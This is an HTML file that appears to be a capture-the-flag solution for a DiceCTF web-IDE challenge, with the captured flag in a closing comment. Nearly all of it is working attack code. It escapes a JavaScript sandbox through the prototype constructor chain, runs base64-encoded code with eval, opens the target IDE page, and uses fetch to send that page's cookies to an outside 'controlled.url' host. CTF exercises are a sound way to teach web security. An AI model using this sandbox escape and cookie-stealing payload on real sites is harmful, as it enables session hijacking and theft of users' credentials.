sandbox.html

<iframe id="sandbox" src="https://web-ide.dicec.tf/sandbox.html"></iframe>
<script>
const sandbox = document.querySelector('iframe');

const code = `
	const subWindow = window.open("https://web-ide.dicec.tf/ide");
	subWindow.onload = function () {
		fetch("https://controlled.url/?x=" + subWindow.document.cookie);
	}
`;

const sandboxCode = `"".__proto__.constructor.constructor('eval(atob("${btoa(code)}"))')();`;
sandbox.onload = function () {
    sandbox.contentWindow.postMessage(sandboxCode, '*');
}
</script>

<!-- dice{c0uldn7_f1nd_4_b4ckr0nym_f0r_1de} -->